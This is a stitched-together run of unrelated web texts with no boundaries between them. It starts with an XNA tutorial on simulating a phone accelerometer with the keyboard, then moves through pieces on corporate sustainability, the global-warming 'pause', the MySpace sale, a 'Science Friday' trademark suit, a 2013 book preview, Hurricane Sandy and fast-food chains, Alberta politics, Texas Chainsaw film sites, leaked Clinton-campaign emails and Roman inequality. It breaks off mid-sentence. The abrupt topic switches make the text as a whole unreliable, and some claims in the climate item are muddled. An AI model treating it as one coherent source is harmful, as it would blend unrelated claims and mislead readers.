As I was only learning XNA and have a reasonable grasp of 3D vectors, I decided to use the keyboard to simulate accelerometer input. A basic implementation of this can be found in the sample game “MarbleMaze” which is part of the “Windows Phone 7 Training Kit” mentioned above. This example gives a good idea of the approach to take to this solution but is unnecessarily complicated in its implementation and somewhat simplistic in its handling of input (although it could be altered or expanded upon). It simply adds or subtracts from one of the accelerometer Vector values (x, y or z) when the arrow keys are pressed.
What I really required was an interface class, similar to this one, which was easier to understand and performed rotations around each of the axes. This would give me the simulated tilt which I was after. I ended up writing a class which checks whether it is running on the emulator or the phone and decides what input data to collect and how to manipulate it. I wrote a few simple rotation methods into the class to simulate tilting. They operate around mathematical axes, not the phones axes.
Accelerometer Handler Source: (Right-click and select “save link as…”)
AccelerometerHandeler.cs
For the accelerometer handler to work you must change the namespace to match your project and add references to Microsoft.Devices.Sensors and Microsoft.Phone to your project. Microsoft.Devices.Sensors allows use of the accelerometer and Microsoft.Phone allows you to check if the active device is the phone.
To add these references right-click on “References” (just above the highlighted items), select “add reference”, select the .NET tab and find them in the list.
The class works like this:
An object of type AccelerometerHandler is created. During construction it checks what device type it is running on. If it is running on the phone it creates a link to the in-built accelerometer interface, adds a new event handler to the accelerometer (to handle what to do when the readings change) and activates the accelerometer. Otherwise it just sets the readings to default values. The event handler just sets the class’ current reading to the current accelerometer data.
During your game’s update method the currentReading() method is called. If the active device is the phone the current reading is normalized and returned. If the active device is the emulator keyboard input is read and rotations are performed. The resultant vector is normalized and returned. The class provides active() and stopAccelerometer() methods to start and stop the accelerometer, though they are not really necessary as these are handled autonomously.
To activate keyboard input when using the emulator press the “page up” key while the emulator is active.
I hope you found this useful.
Leading companies know that sustainability is good business. No longer a practice done for legal or charitable reasons, it's a growth strategy.
Despite many positive actions by companies, consumers still seem confused. A recent YouGov survey found that although 73% of British citizens consider sustainable living to be important to them, more than a third admit being confused about what they should, or shouldn't do to do more for the planet. The survey highlights a willingness from consumers to become more sustainable and a clear opportunity for businesses to start inspiring behaviour change and get sustainable living accepted by the mainstream.
Collaboration is key
No organisation can do this alone and collaborative approaches are needed to discover ways for businesses to empower consumers to do more with less, while also providing real value back to business.
The need for collaboration was backed up by the YouGov survey. Three in five respondents stated that if companies whose products they already buy came together with a set of ideas to help them live more sustainably, it would make them more inclined to try the idea than if the government suggested it.
However there is no one recipe for a successful sustainability initiative and no quick fix to enlighten the masses. To discuss new ways that businesses can empower consumers to achieve sustainable behaviour change, IBM recently held a sustainability summit bringing together some of the biggest companies in the UK including P&G, Marks & Spencer, Eurostar, Asda, British Gas and Thames Water.
How to influence consumers
The summit discovered over 900 ideas that have the potential to inspire other companies and persuade consumers about the benefits of living a more sustainable life. What became clear is that solely appealing to organisations' and people's conscience to drive change on environmental issues is not enough:
• Inspire people and prevent sustainability being seen as worthy or dull. Clear communication is key to educating consumers into making the right choice. Reframe the issue, make it pleasurable and fun and this will catch the consumers attention.
• Talk in a way the consumer can understand and ditch the jargon. Use plain language. Carefully explain the logic underlying new and unfamiliar concepts, underpin everything with a factual as well as a moral and emotional justification and avoid polarising terminology. Then create a common measure and language they will understand, eg "kite mark", "five-a-day".
• Incentivise consumers to change behaviour. Add value, not cost, reward positive behaviour and keep it simple, for example rewards for recycling, no VAT on repairs, recognition of "heroes", "green knights".
• Engage with employees so that they can engage with consumers. Employees are the agents for change. Connecting efforts internally with those who touch customers leads to a more resilient and robust programme with greater longevity and more significant results.
• Be an authentic company and mean what you say. Appropriate and diverse role models and institutions are far more appealing to consumers. They want to know the companies providing the sustainability guidance are also taking their own advice and striving to be more sustainable across their entire business.
• Build educational programmes to encourage behaviour change, such as freecycle education for children, a broad programme of education encouraging children to influence their parents, and make better links in understanding of the real cost of the choices we make.
• Give consumers the tools to help them be more sustainable. Practical help alongside education goes a long way. For example providing free postbags for clothes to be sent off, more collection points, and discounts for old products.
Barriers to change
Central to all these ideas is a warning – don't get more than one step ahead of the customer or you might lose them. There are still many barriers to change that companies continue to battle against. Consumers are still finding it hard to directly relate to the issue of sustainability and in the current age of throw away consumerism many people will need to find the "what's in it for me?" factor before they engage.
Whatever industry you are in, you need to put yourself at that cross-section which touches the different economic, social and environmental aspects of your footprint and believe in the principle of shared value. This involves creating economic value for your business while at the same time creating value for society by addressing its needs and challenges and also delivering lasting environmental benefit.
Society has constantly adapted to dramatic shifts in how it operates. Those organisations that embrace those shifts and continuously evolve will thrive now and in the future, delivering better economic, social and environmental outcomes for all.
Stephen Leonard is chief executive of IBM UK and Ireland
The IBM Summit 2011: Start Now, Start Today was organised by IBM, the Marketing Society and Start, a charitable initiative inspired by the Prince of Wales. Click here to download the full results.
A satellite view of Antarctica is seen in this undated NASA handout photo obtained by Reuters February 6, 2012. Sea levels could rise by 2.3 metres for each degree Celsius that global temperatures increase and they will remain high for centuries to come, according to a new study by Potsdam Institute for Climate Impact Research, released on July 15, 2013. Reuters/NASA/Handout via Reuters
A decrease in surface air temperatures over the past 15 years is, at best, a temporary slowdown and not a “pause” or “hiatus” as reported in certain media, the Sydney Morning Herald reported. According to climate scientists, the rate at which the planet is accumulating heat has not changed or slowed over this period.
Scientists from the US National Oceanic and Atmospheric Administration, or NOAA, in their research published in Science Magazine also evaluated various phenomena, including ocean absorption of heat that can influence global temperatures to account for patterns in temperature variation.
As is widely known, oceans absorb much of the heat from greenhouse gases. Other factors, such as volcanic eruptions and El Nino/La Nina patterns in the Pacific Ocean, influence temperatures. Such factors can mask the overall trend of greenhouse gas absorption and climate change.
Initially in 2014, climate scientists predicted a slowdown and attributed it on the natural variations in the Earth’s orbit and solar activity. The new report, however, said it’s not going to, and in fact, the Earth is about to experience an accelerated global warming.
Authors of the study explained that this data shows that overall rates have not changed dramatically. Other researchers have reached similar conclusions.
Writing in Eco Watch, Penn State climate scientist Michael E. Mann addressed the “pause” in warming by noting, "As I have commented numerous times before, there never was any 'pause' or 'hiatus' in global warming. There is evidence, however, for a modest, temporary slowdown in surface warming through the early part of this decade.”
According to Mann, the study compares the warming trend over the entire second half of the 20th century, including the 1950-1970 era. These two decades were a period that experienced relatively little warming, Mann said, due “primarily to the cooling effect of industry-generated sulphate aerosol pollutants."
Tracing data from the late 1970s through the year 2000 gives a better comparison, says Mann, since it follows the implementation of the Clean Air Act, which led to a reduction in sulfur dioxide emissions. As a result, carbon dioxide and other greenhouse gases predominated emissions, which have had a greater warming effect.
Mann characterised 2013 and 2014 as "post-slowdown" years, which are reflected El Nino conditions in the Pacific and raised the rate of warming.
The United Nations Intergovernmental Panel on Climate Change, or IPCC, assessment report have warned that global warming is indisputable and that the humans had a vast influence on global warming.
Climate change negotiators will be meeting later this year in Paris to tackle proposed goals that will limit climate change to no more than 2 degrees Celsius over pre-industrial levels. The overall goal of the Paris convention is to cut down greenhouse gas emissions and make the commitment legally binding among the 200 participating nations.
Using alternative energy such as solar, wind energies reduce greenhouse gas emissions. There are several new innovations that are helping world economies shift away from “dirty fuels.”
White Mountain Titanium Corporation (OTCQB: WMTM), a new titanium dioxide explorer located in Cerro Blanco, Santiago, Chile is helping clean energy ventures by providing key component to PV solar applications.
News Corporation has sold its ailing social networking site MySpace to online advertising firm Specific Media.
News Corp paid $580m (£361m) for MySpace in 2005, but users and advertisers left the site for rival social sites like Facebook and Twitter.
The sale terms were not disclosed, but there were unconfirmed reports that price paid was as low as $35m.
Pop star and actor Justin Timberlake will take a stake in the business, Specific Media said.
He will play "a major role in developing the creative direction and strategy for the company moving forward," the company said.
Specific Media was founded in 1999 by three brothers - Tim, Chris and Russell Vanderhook - and is based in Irvine, California.
MySpace was a leading social networking site when it was bought by Rupert Murdoch's News Corp.
But the business was eclipsed by rivals, and despite attempts to revive MySpace's fortunes the site has been a financial millstone.
Mr Murdoch can comfort himself by reflecting that if his social adventure ended badly, another media giant fared much worse Read Rory's thoughts in full
The Reuters news agency cited a News Corp-owned blogging site as reporting that MySpace was sold for $35m.
Specific Media said: "We look forward to combining our platforms to drive the next generation of digital innovation."
Losses
News Corp's chief operating officer Chase Carey said in November that the losses at MySpace were "unsustainable".
Although News Corp does not publish specific results for MySpace in its accounts, the "other" segment, which includes the social network, reported a second quarter operating loss of $156m - $31m worse than a year earlier.
According to tracking firm comScore, MySpace had 21.8 million unique monthly US visitors in August 2005 compared with Facebook's 8.3 million.
Enyart is being sued for trademark infringement and cybersquatting in New York state and federal courts by the NPR show’s producers at ScienceFriday Inc.
Representatives of the show “Science Friday,” hosted by journalist Ira Flatow, say the similarity in names is confusing people and sometimes diverting them to Enyart’s website, kgov.com.
Enyart is the self-described fundamentalist Christian pastor of the 60-member Denver Bible Church. He believes the world’s age is measured in thousands, not billions, of years because the Bible tells him so and, he said, scientific evidence backs it up.
Imitation, in this case, is the sincerest form of challenge, Enyart said. His science-talk show started in 1991, but he renamed it “Real Science Friday” in 2006 to push back against mainstream science journalism.
Enyart and co-host Fred Williams, also named in the suit, say they are out to debunk conventional schools of scientific thought, such as Darwinism and other “old earth” theories. They often host and debate scientists on the program.
“No, I do not believe your ancestors were apes,” the 51-year-old Enyart said about evolution.
He will leave technicalities about trademark law to lawyers, he said, because he has faith in his right to free speech.
ScienceFriday Inc. says it’s protecting its federally registered rights. It not only airs the radio show on 300 NPR stations; it also produces podcasts and offers extensive online content.
“We have spent 20 years plus building the name of ‘Science Friday’ and consider ourselves a trusted source of science information,” said ScienceFriday Inc. spokesman Christian Skotte. “We have more than 2 million listeners a week. We want to make sure we are protecting our reputation.”
Enyart said he suspects another motive.
“We think Ira Flatow is a little bit jealous,” Enyart said. “For example, when people want to find out the latest science — like finds of dinosaur soft tissues — they come to ‘Real Science Friday.’ We beat out a lot of science sites.”
A Google search of “dinosaur soft tissues” brings up Smithsonian Magazine first on the list, but Enyart’s site is fourth — well ahead of National Geographic’s and NPR’s.
Enyart is interested in dinosaur soft tissues, unearthed in the mid-2000s and written up in the respected journal Science in 2005, because such things as blood vessels, bone cells and elastic tissues aren’t expected to survive fossilization — if dinosaurs really are around 65 million years old.
To creationists such as Enyart, who believe Earth is several thousand years old, these rare finds are compelling evidence that Earth is young.
“It’s the greatest paleontological discovery of the century, and hardly anyone knows about it,” Enyart said. “We think Ira Flatow is irresponsible for dismissing this story.”
Skotte said ScienceFriday Inc. isn’t out to debate Enyart over what is real science and what is junk science. Its claims are of a legal nature.
The suit, filed Nov. 9 in New York Supreme Court and in U.S. District Court in Manhattan, claims using the name “Real Science Friday” and a knockoff logo to promote Enyart’s radio show and website is a violation of ScienceFriday’s rights. Enyart also uses them in connection with the YouTube video-sharing site.
Enyart told The Denver Post he received a very polite e-mail from Flatow in 2009 asking him to stop using the name “Real Science Friday.”
“We didn’t want to provoke an argument, so we didn’t respond,” Enyart said.
Now, the suit is demanding that Enyart stop using the name and logo; purge them from any other Internet outlets, such as YouTube and Facebook; transfer the Internet domain; and surrender CDs and other materials for sale bearing the name or logo. The suit also asks for Enyart’s financial records and seeks financial damages of not less than $100,000 pursuant to the Anticyberspace Squatting Consumer Protection Act.
Enyart said his radio program on KLTT-670 AM and podcasts have several thousand listeners.
One post on his website said the suit threatens his and other ministries by using the law as “a weapon to silence God’s word that He is our Creator.”
Photo is a detail from the cover of The Ocean at the End of the Lane.
May
Mur Lafferty, The Shambling Guide to NYC
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Campbell Award-nominated writer Lafferty's new novel is about a hapless travel writer who doesn't realize she's been hired by a publishing house run by monsters. Now she has to write a travel guide to New York City for the undead — and stop a collision that's brewing between the world of humans and the world of all the other creatures who haunt the city.
Susan Palwick, Mending the Moon
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When a murder rips Jeremy's family apart, it turns out the only way they can heal is to form a strange connection with the family of the murderer. From the author of Flying in Place, this is a tale that spans countries, wars, and the world of comic book internet fandom.
Karen Joy Fowler, We Are All Completely Beside Ourselves
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Fowler is the author of countless award-winning science fiction stories, as well as the bestselling The Jane Austen Book Club. Now she's back with the haunting story of a young woman who was raised as part of a science experiment, with her parents rearing a baby chimp as her sister. Based in part on a true story, this is sure to be a fascinating character study and exploration of what happens when humans confront an alien intelligence that already exists here on Earth.
Wesley Chu, The Lives of Tao
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IT techie Roan wakes up one morning to discover that he has a superspy alien named Tao inside his head, driving him around and turning him into a ninja. These things happen.
Joe Hill, NOS4A2
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Leave it to creep-master Hill to turn the land of Christmas into something truly horrifying. A mysterious creature is kidnaping children, to take them to a wintry wonderland of holiday fun — and they would do anything to escape. Read an excerpt here!
June
Lauren Beukes, The Shining Girls
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A new novel from the author of Moxyland and Zoo City, about a time-traveling serial killer who grooms his victims by time-hopping into their childhoods and gaining their trust. He's collected a number of "shining girls" and is getting bolder. Until one of his victims survives and starts hunting him right back. This book is gorgeously written and seriously disturbing.
Terry Pratchett and Stephen Baxter, The Long War
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This is the sequel to The Long Earth, set a generation after the events of the first novel. A new version of America, Valhalla, has been founded on one of the parallel Earths — and Valhalla wants its independence from the Datum Earth, so it can pursue good old-fashioned American values.
Neil Gaiman, The Ocean at the End of the Lane
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In Gaiman's first adult novel since Anansi Boys, the author takes us on a surreal journey into the childhood of an artist who can't quite remember what happened the year he turned seven. But when he revisits his childhood home, it all comes back — especially his adventures with a girl named Hattie, and her mother and grandmother. Hattie says the pond in her backyard is an ocean, which might not be so far-fetched, given that her grandmother remembers the universe that existed before the Big Bang.
Will McIntosh, Love Minus Eighty
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This novel deals with what happens to romance and marriage when humans develop technology that can indefinitely extend our lifespans. At least, if you're willing to enter cryosleep for a while — and maybe even try a cryo dating service.
Richelle Mead, Gameboard of the Gods
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We're pretty big fans of Mead's Vampire Academy novels — so it's exciting that she's changing gears and doing a book series set in a dystopian future. Justin March is a failed investigator of supernatural events and fringe religious groups, who's been exiled from the Republic of United North America — until he's brought back to RUNA to solve a series of ritual murders.
July
Madeline Ashby, iD: The Second Machine Dynasty
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This is the follow-up to Ashby's novel vN, about biological robots who are programmed with built-in limitations — for instance, seeing human suffering causes them to malfunction. But then the von Neumann machines start evolving. We heard Ashby read from this novel at World Fantasy 2012, and it sounds like it gets even crazier than the first.
Gwenda Bond, The Woken Gods
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The author of Blackwood is back with a strange tale about an alternate United States populated by gods. Kyra is on her way home from school when she meets two trickster gods, one offering a threat and the other a warning. And then she finds out her father has vanished with some mysterious Egyptian artifacts. The entire fate of the world could be at stake.
Richard Kadrey, Kill City Blues
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The fifth Sandman Slim novel — Stark is back in L.A. after his stint in Hell, but there's no rest for him. Someone's gotten hold of an ancient superweapon from the banished older gods — and worse yet, Stark is forced to go to a mall. Infested with lurkers, and bottomfeeding Sub Rosa families.
Charles Stross, Neptune's Brood
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This another one of Stross' slow space operas, set in the universe of Saturn's Children, but much further in the future (it's shortly after the fourth human extinction, instead of the first). The "metahuman" robots who have inherited humanity's solar system are menaced by the fabled Atlantis Carnet, a financial instrument that could bring down entire civilizations, which is split into two halves held by two sisters.
Paul McAuley, Evening's Empires
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Set in the far future we've loved in previous McAuley novels like The Quiet War, this is the tale of a young man who is stranded on a asteroid — after his ship is stolen and his family kidnapped — with nothing but a semi-intelligent spacesuit for company. We follow his life in the wake of this trauma, as he schemes for revenge and tries to get back to a spaceship he can call home.
August
Kelley Armstrong, Omens
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Omens is the first novel in a new series from bestselling author Armstrong, and it introduces an intriguing new heroine. Olivia has an ordinary life — until she discovers that she was adopted, and her real parents were notorious serial killers. But is there more to the story than that? She begins to believe there might be when she starts developing powerful new abilities.
Margaret Atwood, MaddAddam
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This is the final novel in Atwood's dystopian series that began with Oryx and Crake and Year of the Flood. In the wake of a pandemic, the sparse human survivors band together with the genetically-engineered Crakers, whose artisanal biology is supposed to prevent them from being warlike and sexist. But it doesn't prevent them from becoming religious, and this novel explores how they create an origin myth for themselves. Meanwhile, the tattered remnants of rival environmental activist groups squabble over whose ideology will control the ruined world.
Naomi Novik, Blood of Tyrants
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Yay! It's a new Temeraire novel! This is Novik's penultimate book in her alternate history series about how dragons would have changed the course of the Napoleonic Wars. Our hero Laurence finds himself shipwrecked in Japan, with amnesia that has erased his memories of his beloved dragon Temeraire and pretty much everything else. Now he has to deal with the intricacies of Japanese politics, while across the ocean Napoleon takes on the Russians.
Alastair Reynolds, On the Steel Breeze
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In the second novel of Reynolds' Poseidon's Children series, humanity continues on its many-thousand-year quest to colonize new parts of the galaxy. Reynolds has called this series Utopian because humans have repaired the climate on Earth and achieved a peaceful, post-human state of extremely long life — without any crime, thanks to an omnipresent surveillance system. Now, humans are setting off to other solar systems in generation ships.
Kat Richardson, Possession
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It's the latest Greywalker mystery, and this one looks like fun. Harper Blaine is a PI who died briefly, and can now walk between the living and the spirit world. Her latest case seems like garden-variety possession — a woman wakes up from a coma knowing things she couldn't, and speaking in strange voices. But then Blaine discovers other people suffering the same symptoms, all of whom seem connected to a violent incident in the distant past.
Sales at fast-food joints such as Starbucks, McDonald's, and Dunkin' Donuts — forced to close because of superstorm Sandy — should rebound swiftly, if they can also open quickly. With bridges and tunnels closed, and many of the arterial supply pathways jammed up along the East Coast, that could be a big "if."
"This is pretty damaging for the chains that have been forced to close, depending on how long they stay closed. Not only is that lost sales — Starbucks, for example, did $1.14 million per unit last year, so that's about $22,000 per week per unit — but it also disrupts the supply chain," Same Oches, editor of QSR magazine, a quick serve industry trade publication, told NBC News.
On Wednesday morning, a steady drip of customers made their pilgrimage to a Starbucks at 42 Hillel Place in the Flatbush area of Brooklyn. Outside, a whir of distant chainsaws filled the air around Flatbush Avenue and Nostrand. Inside, patrons recharged themselves with coffee, powered up their cellphones with working outlets, and tried to make use of the free wi-fi.
The store's three employees served up medium roasts, but the bagel baskets were bare as the usual delivery truck didn't arrive that morning, barista Jo-Ann Gonzalez, 24, told NBCNEWS. The store started the morning by throwing away food spoiled when the store was closed on Monday and Tuesday. Gonzalez shook her head at how shellshocked New Yorkers were after the storm. "I'm from Florida. Hurricanes come, and then they go. People are freaking out," she said.
A FedEx driver from Canarsie, 3 miles away, nursed a tall blonde coffee at the counter. The storm flooded his basement, ruining a $2,500 boiler he had just installed, and his car was still underwater. He stayed at his brother's house around the corner to make use of the running hot water and electricity. "I'm just catching a little time out, a breath from the stress," the man, who asked not to be named, told NBC News.
Other stores that aren't able to open as fast, that stay closed for a week, could have a real impact on quarterly numbers, Ronald Ruggless, Southwest Bureau Chief for Nation's Restaurant News, told NBC News.
A Starbucks spokesperson would not comment on how Sandy is affecting their financials, as the chain is focused on dealing with store closures. "The safety of our partners, our employees, is our number one priority," a spokesperson told NBC News. On Monday, Starbucks closed 1,000 locations from Virginia to Maine. By noon Tuesday, 250 stores remained closed, primarily in areas without power or experiencing heavy traffic issues.
Dunkin' Brands, the franchisor of Dunkin' Donuts and Baskin Robbins, said that a "significant" number of Dunkin' Donuts and Baskin-Robbins were still shuttered in the Mid-Atlantic regions. The closures are concentrated in New York, New Jersey and Pennsylvania, mainly in areas with evacuations or power outages. A few suffered "serious" damage. However, a spokesman told NBC News, "The majority of our restaurants are open, and the storm has not had a materially financial impact on the company.
Without power, food in refrigerators can begin to spoil, and traffic snarls and supply chain hiccups could make it hard to restock. That shouldn't affect snack places and coffee sellers much, except in the case of perishables like milk. That puts a crimp in the morning coffee for latte lovers. People will "just have to drink it black," Ruggles said.
Carlo Allegri / Reuters Pedestrians walk past a closed Starbucks in lower Manhattan on Tuesday in the aftermath of Hurricane Sandy.
Fast service stores that can reopen quickly can actually experience a bump in sales as other options are closed and the storm-weary don't feel like making food or patronizing places that cost more in terms of time and money, said Ruggless. There's also little in the way of long-term sales damage by breaking customers out of their daily coffee, doughnut, or burger habit.
"These places are so much a part of people's routine that everything else in the world could be upset and they would pick it back up," he said.
Like a kickboard held underwater, however much sales get pushed down by Sandy, the resulting pent-up demand should make up for the losses, said Stephen Anderson, Senior Analyst at Miller Tabak + Co.
In a note to investors published Friday before the storm, Anderson said that Sandy would turn numbers for restaurants it covers, like Dunkin' Brands, Cheesecake Factory, Chipotle, Darden Restaurants and Panera Bread from "fractionally positive" to "fractionally negative." That then would push November to 1 percent positive, or better.
Reached after the storm passed, Anderson told NBC News: "With the storm arriving earlier and of much earlier duration, the negative effect on October comps will be that much more pronounced, but I think the jump in comps starting Oct. 31 could be more accentuated."
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Speaking at Palm Beach Atlantic University in West Palm Beach, Fla., Thomas, the second black justice to serve on the court, lamented what he considers a society that is more “conscious” of racial differences than it was when he grew up in segregated Georgia in the days before—and during—the civil rights era.
“My sadness is that we are probably today more race and difference-conscious than I was in the 1960s when I went to school. To my knowledge, I was the first black kid in Savannah, Georgia, to go to a white school. Rarely did the issue of race come up,” Thomas said during a chapel service hosted by the nondenominational Christian university. “Now, name a day it doesn’t come up. Differences in race, differences in sex, somebody doesn’t look at you right, somebody says something. Everybody is sensitive. If I had been as sensitive as that in the 1960s, I’d still be in Savannah. Every person in this room has endured a slight. Every person. Somebody has said something that has hurt their feelings or did something to them—left them out.
“That’s a part of the deal,” he added.
{snip}
Throughout his career, Thomas said, he has experienced more instances of discrimination and poor treatment in the North than the South.
“The worst I have been treated was by northern liberal elites. The absolute worst I have ever been treated,” Thomas said. “The worst things that have been done to me, the worst things that have been said about me, by northern liberal elites, not by the people of Savannah, Georgia.”
{snip}
Original Article
She was in Calgary Monday along with Kent Hehr and Darshan Kang — the city's Liberal MPs — meeting with business and municipal leaders.
Mihychuk says the downturn in the province is expected to last into 2019, and expects to see a quarter of the office towers in downtown Calgary empty. She says infrastructure investment will be part of strategy to address Alberta's struggling economy.
"Did I come with a wallet full of cash? No," Mihychuk said at the news conference.
But she also had a message for Albertans in the oilpatch.
"You are the very best in this sector: look for other opportunities," said Mihychuk. "I know many people come to Alberta to start their lives. This is one of the targeted provinces in Canada. We need to flexible. We're in tough times right now, but ... our energy sector will come back."
Ambrose slams Trudeau's economic policies
It comes as Conservative Party Leader Rona Ambrose urged ‎Prime Minister Justin Trudeau to turn his focus to the dire economic situation in Alberta.
"Alberta has been and can remain a key economic driver for the whole country, but the province is facing real challenges. Unfortunately, the Trudeau Liberals have no economic plan to respond to the collapse of oil, other than tax and spend policies that have failed Canada time and again," said Ambrose in a release.
Hehr shot back at the afternoon news conference, saying "her government had 10 years to do something about that," but the Trudeau government is also committed to working on oilpatch access to new markets.
Ambrose also made a call for Alberta food bank donations following a spike in demand.
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"During the Christmas season, let's not forget to lend a helping hand to those who need it, no matter where they live," said Ambrose. "A cash donation to a food bank in Alberta would mean a great deal this year, no matter which part of Canada it comes from."
Listening but no defined plan
In a release, the minister says she sympathizes deeply with those Albertans who are facing tough times.
"I've listened and heard from Albertans about the labour market challenges they are up against," said Mihychuk.
"I am committed to working with the province and employers to help Albertans get the skills they need for good quality jobs and to strengthen training. In today's changing economy, Canadians need more opportunities to improve their skills and upgrade their credentials."
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The Junction House Restaurant closed in 2012 and reopened in 2013 as the Grand Central Cafe. It's still the location where The Texas Chainsaw Massacre was filmed, but the new owners no longer stress the connection. The Leatherface dummy, a highlight of the old Junction House Restaurant, is gone.
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This place is currently closed (as of 10/12/12) for renovations. The woman at the hotel on the property said they're looking at an early November 2012 reopening.
This is the "family house" from the original 1973 Texas Chainsaw Massacre film. The house was built in 1909 in Round Rock, TX, achieved immortality as a film location, then was bought in 1998 and moved to Kingsland.
The revelation was made in emails purportedly from high-level Clinton staffers released by Wikileaks over the past week.
CLINTON STAFFERS SAY AVOID HEALTH CARE TALK AMID SANDERS’ SINGLE-PAYER TALK
Clinton was headed to Denver and Boulder Nov. 24, 2015 to meet with state caucus organizers when her speech writer, Megan Rooney, sent an email to other staffers saying the talking points for the appearances were ready, but noted that, “CO has asked that we not deliver a strong health care message here.”
The campaign’s vice chairwoman, Huma Abedin, wrote back: “[S]orry for the ignorance but why not a strong healthcare message tomorrow?”
Clinton campaign manager Robby Mook said the campaign was “avoiding that issue because of the single payer referendum,” to which deputy communications director Kristina Schake responded, “[Clinton Colorado campaign manager] Brad [Komar] asked us not to do health care tomorrow in Colorado because of the ballot initiative. Said it won’t be helpful there.”
The ballot initiative in question is Amendment 69, better known as ColoradoCare. At the time, it was still gathering signatures, and Sen. Sanders had been hitting the single-payer health care message hard in recent campaign stops.
Komar responded to Schake and the rest of the group, saying the ballot measure “is not great for us,” noting that Colorado HealthOP – which had been the state’s largest health insurer co-op – had recently announced it was shutting down , leaving 83,000 people needing new plans and taxpayers with more than $70 million in federal loan repayments.
“Not a great moment for ACA in Colorado,” Komar ended his email with.
AMENDMENT 69, INSURER SHUTDOWN AT HEART OF DIFFERENCES
Though the Clinton campaign has said she wants to “defend and expand” the Affordable Care Act (ACA) and “make a ‘public option’ possible” – goals listed on her website – the emails show she wanted to avoid talking about a single-payer system.
But she has supported a “public option” that would allow people over 55 to buy in to Medicare. Sanders had argued there should be a single-payer system for everyone.
Amendment 69, Colorado’s single-payer measure, eventually gained enough signatures to be put on November’s ballot. It would take advantage of a clause in the ACA that allows states to create their own health care systems, though the state would have to obtain a waiver for subsidies.
Funding would come from a 10 percent payroll tax in which employers would pay 66 percent of costs and employees would pay the other third.
HEALTH CARE COMPANIES DUMP MONEY INTO SINGLE-PAYER OPPOSITION PAC
The measure has drawn support from Sen. Sanders, as well as state senators Irene Aguilar and Jeanne Nicholson and many county Democratic and Green party groups.
But it has garnered far more opposition than support, even among many high-profile Democrats.
Gov. John Hickenlooper, U.S. Sen. Michael Bennet and state Sen. Morgan Carroll – all Democrats – have all come out in opposition to the amendment.
But its strongest opposition has come via a political action committee (PAC) called Coloradans for Coloradans, which has so far raised more than $4 million to oppose the measure, of which it has spent $3.77 million.
Most of the money contributed to Coloradans for Coloradans , founded and run by Denver-based CRL Associates, Inc. Chief Operating Officer Roger Sherman, has come from the country’s largest health care and insurance companies.
Health insurer Anthem, Inc. has contributed $1 million so far to the PAC. United Healthcare Services, Inc. has contributed at least $450,000; Centura Health has given $250,000; Healthone System Support has given at least $250,000; PHRMA has given $100,000; SCL Health has given at least $100,000; Davita has given at least $75,000 and Cigna Health and Life Insurance Company has given at least $60,000.
Centura and Healthone are the only companies based in Colorado out of those listed, though the list of contributions from health industry companies to Coloradans for Coloradans goes on and on in campaign finance documents.
Much of the payout by Coloradans for Coloradans has gone to advertising and “consultant and professional services,” though the PAC has so far paid out $220,404.30 to CRL Associates, Inc. – the public policy consulting company for which Sherman acts as COO.
Sherman and Coloradans for Coloradans was ordered in June to pay a $250 fine for violating state campaign finance filing laws, but that fine was later reduced to $50 since it was the PAC’s first infraction.
PRO-SINGLE PAYER MONEY DWARFED, POLLS REFLECT SAME
By contrast, the primary support PAC for Amendment 69, ColoradoCare Yes, has raised and spent around $760,000. Its largest donors are Co-operate Colorado Executive Director Lyn Gullette and Boulder psychologist Ivan J. Miller.
Clinton’s avoidance of talking about a single-payer system during her early visits, mixed with the vast anti-Amendment 69 campaign, appears to have paid off, as polling in recent months show a large public opposition to the measure.
A Colorado Mesa University, Rocky Mountain PBS and Franklin & Marshal College poll conducted mid-September showed 56 percent opposition, and a Magellan Strategies poll conducted at the end of August showed 65 percent opposition. Both polls had a sample size of greater than 500 people, with margins of error within 4.3 to 5.1 percent.
OTHER COLORADO-RELATED EMAILS SHOW UP IN PODESTA DUMP
While the discussion of health care was one of the most interesting exchanges found in the Wikileaks dump, there are thousands of emails that mention Colorado.
While most are simply press releases from various progressive groups, among them is an email from Komar and other Clinton staffers discussing how the campaign should respond to a call by Sanders to end all hydraulic fracturing (fracking).
“This is not a promise he can keep,” Komar writes. “I would watch our tone and not sound too pro-fracking. A reluctant tone is a better fit for dem caucus goers (it’s a transition energy. It’s not great but it allows us to get to where we want to be)”.
The campaign opted to focus more on putting in place safeguards for clean air and water and closing emissions loopholes used by the oil and gas industries.
Another email, from then-director of ProgressNow Colorado, Michael Huttner, showed up in Podesta’s email inbox. It was sent in July 2010 to “investors and key advisors” on an email listserv of Huttner's. The email was first discovered by Politico’s Ken Vogel.
In the email, Huttner boasts the organization, as “part of Colorado’s communication hub…carefully passed on information to the mainstream media” that Scott McInnis, who was running against Dan Maes in the Republican primary for the governor’s race at the time, had plagiarized a report on water policy.
“In the past 48 hours, McInnis and the entire Republican party of Colorado are in free-fall,” Huttner wrote. “The best part is that ProgressNow Colorado nor any of our allies had their fingerprints on any of the excellent behind-the-scenes work to develop and then break this story.”
The email then links to several stories in The Denver Post and other news outlets discussing the plagiarism, before ending with: “If you want to discuss how [ProgressNow] can be of further help to you in other states, please let me know a good time and number to reach you.”
McInnis went on to lose the primary to Maes by 1.3 percent. Maes then drew only 11 percent of the vote in the general election, and Hickenlooper won the governor’s office.
ProgressNow Colorado Political Director Alan Franklin responded to Vogel on Twitter regarding the email, saying the organization “caught a candidate engaged in plagiarism and passed info on to the media, who ran with it. Not scandalous for us.”
We caught a candidate engaged in plagiarism and passed info on to the media, who ran with it. Not scandalous for us. @kenvogel #copolitics — Alan Franklin (@alanfranklin) October 10, 2016
The Clinton campaign has not confirmed, nor has it denied, the validity of the emails, which appear to be from campaign chairman John Podesta.
Podesta said Wednesday the FBI was looking into how the emails were obtained and whether Russia was behind the hack.
The campaign did note that Donald Trump was “cheering on a release…engineered by Vladimir Putin.” The federal government has pointed to Russian hackers as being behind many of this year’s Wikileaks dumps, which also included embarrassing emails from within the Democratic National Committee.
Wikileaks says it has more than 50,000 emails it could release. The dumps in recent days have come in batches of several thousand.
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Tim De Chant at Per Square Mile reached this conclusion based on a study by historians Walter Schiedel and Steven Friesen.
Rome's top 1% controlled 16 percent of the wealth, compared to modern America where the top 1% controls 40 percent of the wealth.
Looking at the Gini coefficient, where 0 means perfect equality and 1 means perfect inequality, Rome measured between 0.42 and 0.44. Modern America scores worse at 0.45, and some areas are much worse like Fairfield County, Conn. with an alarming 0.54.
De Chant comments on a telling line from the essay by Shiedel and Friesen:
